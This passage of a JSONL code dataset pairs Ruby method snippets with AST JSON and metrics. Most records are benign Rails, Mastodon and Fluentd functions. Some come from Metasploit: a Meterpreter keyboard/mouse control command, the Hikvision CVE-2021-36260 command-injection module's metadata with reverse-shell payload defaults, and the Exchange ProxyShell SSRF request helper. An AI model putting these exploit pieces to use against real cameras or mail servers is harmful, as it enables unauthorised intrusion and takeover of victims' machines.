[keyboard/mouse/all]\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"enable\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"keyboard\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Enabling keyboard...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"ui\"]},\"enable_keyboard\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"mouse\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Enabling mouse...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"ui\"]},\"enable_mouse\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"all\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Enabling all...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"ui\"]},\"enable_keyboard\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"ui\"]},\"enable_mouse\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported user interface device: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"disable\"]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"keyboard\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Disabling keyboard...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"ui\"]},\"disable_keyboard\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"mouse\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Disabling mouse...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"ui\"]},\"disable_mouse\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"all\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Disabling all...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"ui\"]},\"disable_keyboard\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"ui\"]},\"disable_mouse\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported user interface device: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unsupported command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"f973e8fb-c435-4e46-b5d5-b17bd744a281"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Hikvision IP Camera Unauthenticated Command Injection',\n        'Description' => %q{\n          This module exploits an unauthenticated command injection in a variety of Hikvision IP\n          cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an\n          HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting in command execution\n          as the `root` user.\n\n          This module specifically attempts to exploit the blind variant of the attack. The module\n          was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It\n          was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725.\n          Please see the Hikvision advisory for a full list of affected products.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Watchful_IP', # Vulnerability discovery and disclosure\n          'bashis', # Proof of concept\n          'jbaines-r7' # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2021-36260' ],\n          [ 'URL', 'https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html'],\n          [ 'URL', 'https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/'],\n          [ 'URL', 'https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py']\n        ],\n        'DisclosureDate' => '2021-09-18',\n        'Platform' => ['unix', 'linux'],\n        'Arch' => [ARCH_CMD, ARCH_ARMLE],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd,\n              'DefaultOptions' => {\n                # the target has very limited payload targets and a tight payload space.\n                # bind_busybox_telnetd might be *the only* one.\n                'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',\n                # saving four bytes of payload space by using 'sh' instead of '/bin/sh'\n                'LOGIN_CMD' => 'sh',\n                'Space' => 23\n              }\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_ARMLE],\n              'Type' => :linux_dropper,\n              'CmdStagerFlavor' => [ 'printf', 'echo' ],\n              'DefaultOptions' => {\n                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'RPORT' => 80,\n          'SSL' => false,\n          'MeterpreterTryToFork' => true\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Hikvision IP Camera Unauthenticated Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an unauthenticated command injection in a variety of Hikvision IP\\n\"]},{\"type\":\"str\",\"children\":[\"          cameras (CVE-2021-36260). The module inserts a command into an XML payload used with an\\n\"]},{\"type\":\"str\",\"children\":[\"          HTTP PUT request sent to the `/SDK/webLanguage` endpoint, resulting in command execution\\n\"]},{\"type\":\"str\",\"children\":[\"          as the `root` user.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module specifically attempts to exploit the blind variant of the attack. The module\\n\"]},{\"type\":\"str\",\"children\":[\"          was successfully tested against an HWI-B120-D/W using firmware V5.5.101 build 200408. It\\n\"]},{\"type\":\"str\",\"children\":[\"          was also tested against an unaffected DS-2CD2142FWD-I using firmware V5.5.0 build 170725.\\n\"]},{\"type\":\"str\",\"children\":[\"          Please see the Hikvision advisory for a full list of affected products.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Watchful_IP\"]},{\"type\":\"str\",\"children\":[\"bashis\"]},{\"type\":\"str\",\"children\":[\"jbaines-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-36260\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/security-notification-command-injection-vulnerability-in-some-hikvision-products/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2021-09-18\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/bind_busybox_telnetd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LOGIN_CMD\"]},{\"type\":\"str\",\"children\":[\"sh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[23]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"printf\"]},{\"type\":\"str\",\"children\":[\"echo\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/armle/meterpreter/reverse_tcp\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MeterpreterTryToFork\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"1dde2374-40dd-4ff8-bc02-4aaf35403fd2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/exchange_proxyshell_rce.rb","start_line":316,"raw_source":"def send_http(method, uri, opts = {})\n    ssrf = \"Autodiscover/autodiscover.json?a=#{@ssrf_email}\"\n    opts[:cookie] = \"Email=#{ssrf}\"\n    super(method, \"/#{ssrf}#{uri}\", opts)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_http\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"uri\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ssrf\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Autodiscover/autodiscover.json?a=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssrf_email\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Email=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssrf\"]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ssrf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"2ba27354-4fc9-474a-bc68-b4ab3b44290f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/app/services/boards/status_board_create_service.rb","start_line":7,"raw_source":"def query_name\n      default_status.name\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"query_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_status\"]},\"name\"]}]}","id":"51b7e184-7a37-4661-864e-db79f2161604"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/cache.rb","start_line":147,"raw_source":"def parse_directives(header_value)\n              return unless header_value\n\n              header_value.delete(\" \").downcase.split(\",\").each do |directive|\n                name, value = directive.split(\"=\", 2)\n\n                case name\n                when \"max-age\"\n                  @max_age = value.to_i\n                when \"min-fresh\"\n                  @min_fresh = value.to_i\n                when \"stale-if-error\"\n                  @stale_if_error = value.to_i\n                when \"no-cache\"\n                  @no_cache = true\n                when \"no-store\"\n                  @no_store = true\n                when \"no-transform\"\n                  @no_transform = true\n                when \"only-if-cached\"\n                  @only_if_cached = true\n                when \"max-stale\"\n                  @max_stale = value ? value.to_i : true\n                end\n              end\n            end","complexity_score":42.25,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_directives\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"header_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_value\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_value\"]},\"delete\",{\"type\":\"str\",\"children\":[\" \"]}]},\"downcase\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"directive\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"max-age\"]},{\"type\":\"ivasgn\",\"children\":[\"@max_age\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"min-fresh\"]},{\"type\":\"ivasgn\",\"children\":[\"@min_fresh\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"stale-if-error\"]},{\"type\":\"ivasgn\",\"children\":[\"@stale_if_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"no-cache\"]},{\"type\":\"ivasgn\",\"children\":[\"@no_cache\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"no-store\"]},{\"type\":\"ivasgn\",\"children\":[\"@no_store\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"no-transform\"]},{\"type\":\"ivasgn\",\"children\":[\"@no_transform\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"only-if-cached\"]},{\"type\":\"ivasgn\",\"children\":[\"@only_if_cached\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"max-stale\"]},{\"type\":\"ivasgn\",\"children\":[\"@max_stale\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]}]}]}]}]}","id":"beb33aa0-dbc6-49d4-ba63-616e734bd43f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/user.rb","start_line":209,"raw_source":"def email_domain\n    Mail::Address.new(email).domain\n  rescue Mail::Field::ParseError\n    nil\n  end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"email_domain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mail\"]},\"Address\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"email\"]}]},\"domain\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mail\"]},\"Field\"]},\"ParseError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"61a0b2f8-3d93-4937-8826-7824416f32eb"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/config/types.rb","start_line":23,"raw_source":"def self.reformatted_value(type, val, opts = {}, name = nil)\n      REFORMAT_VALUE.call(type, val, opts, name)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reformatted_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"val\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REFORMAT_VALUE\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"val\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"8a83a8de-c85d-49bc-a004-8558c3af92eb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/paperclip/vips_lazy_thumbnail.rb","start_line":14,"raw_source":"def self.parse(current_geometry, pixels)\n        width  = Math.sqrt(pixels * (current_geometry.width.to_f / current_geometry.height)).round.to_i\n        height = Math.sqrt(pixels * (current_geometry.height.to_f / current_geometry.width)).round.to_i\n\n        Paperclip::Geometry.new(width, height)\n      end","complexity_score":29.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_geometry\"]},{\"type\":\"arg\",\"children\":[\"pixels\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"width\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Math\"]},\"sqrt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pixels\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_geometry\"]},\"width\"]},\"to_f\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_geometry\"]},\"height\"]}]}]}]}]},\"round\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"height\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Math\"]},\"sqrt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pixels\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_geometry\"]},\"height\"]},\"to_f\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_geometry\"]},\"width\"]}]}]}]}]},\"round\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Paperclip\"]},\"Geometry\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"width\"]},{\"type\":\"lvar\",\"children\":[\"height\"]}]}]}]}","id":"27bc37c3-69ff-4908-aef0-125f7cb01650"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/fasp/base_controller.rb","start_line":63,"raw_source":"def check_fasp_enabled\n    raise ActionController::RoutingError unless Mastodon::Feature.fasp_enabled?\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_fasp_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"Feature\"]},\"fasp_enabled?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"RoutingError\"]}]}]}]}","id":"11b48d19-59ed-4caf-b9a0-e96c9859b3ab"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":645,"raw_source":"def test_schema_dumping_with_defferable_initially_immediate\n            @connection.add_foreign_key :astronauts, :rockets, column: \"rocket_id\", deferrable: :immediate\n\n            output = dump_table_schema \"astronauts\"\n\n            assert_match %r{\\s+add_foreign_key \"astronauts\", \"rockets\", deferrable: :immediate$}, output\n          end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dumping_with_defferable_initially_immediate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rockets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"rocket_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deferrable\"]},{\"type\":\"sym\",\"children\":[\"immediate\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"astronauts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+add_foreign_key \\\"astronauts\\\", \\\"rockets\\\", deferrable: :immediate$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"100f56d8-4002-49b3-9560-b6eefaeb63e5"}
